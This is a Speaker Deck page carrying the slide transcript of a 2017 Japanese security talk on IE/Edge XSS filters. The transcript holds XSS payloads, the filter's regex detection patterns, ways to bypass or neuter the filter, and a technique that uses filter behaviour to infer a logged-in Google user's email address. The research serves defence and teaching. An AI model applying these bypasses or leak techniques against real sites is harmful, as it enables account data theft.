Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
Search
Masato Kinugawa
March 31, 2017
Technology
7
3.2k
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
2017/3/30 に行われた Shibuya.XSS techtalk #9 の発表資料です。
Masato Kinugawa
March 31, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.5k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.1k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
19k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
21k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
6.8k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
98k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
26k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
12k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
20k
Other Decks in Technology
See All in Technology
プロダクトエンジニア構想を立ち上げ、プロダクト志向な組織への成長を続けている話 / grow into a product-oriented organization
hiro_torii
1
350
ExaDB-XSで利用されているExadata Exascaleについて
oracle4engineer
PRO
3
180
エンジニアリング価値を黒字化する バリューベース戦略を用いた 技術戦略策定の道のり
kzkmaeda
6
2.2k
AI Agent時代なのでAWSのLLMs.txtが欲しい!
watany
2
190
ESXi で仮想化した ARM 環境で LLM を動作させてみるぞ
unnowataru
0
160
コンテナサプライチェーンセキュリティ
kyohmizu
1
130
わたしがEMとして入社した「最初の100日」の過ごし方 / EMConfJp2025
daiksy
14
4.5k
Raycast AI APIを使ってちょっと便利な拡張機能を作ってみた / created-a-handy-extension-using-the-raycast-ai-api
kawamataryo
0
210
【5分でわかる】セーフィー エンジニア向け会社紹介
safie_recruit
0
18k
AIエージェント元年
shukob
0
150
サイト信頼性エンジニアリングとAmazon Web Services / SRE and AWS
ymotongpoo
7
1.3k
php-conference-nagoya-2025
fuwasegu
0
140
Featured
See All Featured
Facilitating Awesome Meetings
lara
52
6.2k
GraphQLの誤解/rethinking-graphql
sonatard
68
10k
The Art of Programming - Codeland 2020
erikaheidi
53
13k
Measuring & Analyzing Core Web Vitals
bluesmoon
6
250
Fireside Chat
paigeccino
34
3.2k
YesSQL, Process and Tooling at Scale
rocio
172
14k
Bash Introduction
62gerente
611
210k
Optimizing for Happiness
mojombo
376
70k
Fantastic passwords and where to find them - at NoRuKo
philnash
51
3k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
The Language of Interfaces
destraynor
156
24k
Statistics for Hackers
jakevdp
797
220k
Transcript
None
None
❶ ➌ ❷ ❹
None
https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg onload=alert(1)>"> </body> </html>
https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg #nload=alert#1#>"> </body> </html>
https://addons.mozilla.org/ja/firefox/addon/noscript/
HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT
Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
None
None
None
https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701 <input value=""><svg #nload=alert#1#>"> <input value=""><svg onload=alert(1)>">
None
<input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>"> <!-- <svg #nload=alert(1)> -->
https://example.com/?q="><svg+onload=alert(1)>
<input value=""><svg onload=alert(1)>"> <input value="<svg onload=alert(1)>"> <!-- <aaa onload=alert(1)> -->
https://example.com/?q="><svg+onload=alert(1)>
https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701
<title><script> - Google 検索</title> <script>(function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>
<script src=//example.jp/jquery.js></script> <script> if(jQuery){ // Expected }else{ // ??? }
</script> https://example.com/?<script src=//example.jp/jquery.js></script>
None
{<a.*?hr{e}f} {[\"\'][ ]*(([^a-z0-9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])))).+?{\(}.*?{\)}} [...] {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0 *((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53) |(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63) );?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]| (&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9
|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] "><svg #nload=alert#1#>
[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. "><svg[SPACE]onload=alert(1)>
"><svg onload=alert(1)> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"
None
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622
https://www.slideshare.net/masatokinugawa/xxn-ja
[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script> q = "";document#body.innerHTML="<xss>"; </script> URL:
?q=";document.body.innerHTML="<xss>
[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src> <script src="//example.co.jp/test.js" type="text/javascript"> </script>
URL: ?"/++.+++=
"style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf:
<script src="//example^co.jp/test.js" type="text/javascript"> </script>
window#name//Syntax Error window^name//Syntax OK <script> window.name
None
url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }
https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from
an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else
https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] <script> foo=``; q="[USER_INPUT]"; </script> <script> foo=`#; q="${alert(1)}#`//"; </script>
https://example.com/?+onfiles+++=. <script src="/comm#nfiles/js/important.js" type="text/javascript"> </script> [...]
https://bugs.chromium.org/p/chromium/issues/detail?id=654794
None
http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html
https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //
// }else{ // } <script>…</script>
https://www.youtube.com/watch?v=IMDWjKFbsJE
HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options:
SAMEORIGIN
https://accounts.google.com/ServiceLogin?
google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br
google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(
✨ ✨ ✨
{<a.*?hr{e}f}
0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>
5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/
0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>
5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> <a%XXhref https://example.com/?<a%2Bhref
0 <ahr#f> 1 <aAhr#f> 2 <aAAhr#f> 3 <aAAAhr#f> 4 <aAAAAhr#f>
5 <aAAAAAhr#f> 6 <aAAAAAAhr#f> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/?<a%2Bhref
0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_
A a 0x00 0-9 < B-Z b-z
0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_
A a 0x00 0-9 < B-Z b-z
<div class="gb_xb">
[email protected]
</div><div class="gb_pb"> {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}
✔ ✔ ✔ ✔
<div class="gb_xb">
[email protected]
</div><div class="gb_pb">
https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
=
https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.ru/?"
[email protected]
=
https://www.google.ru/?"
[email protected]
=
https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ca/?"
[email protected]
= ...
✨ ✨ ✨
None
None
None
None
None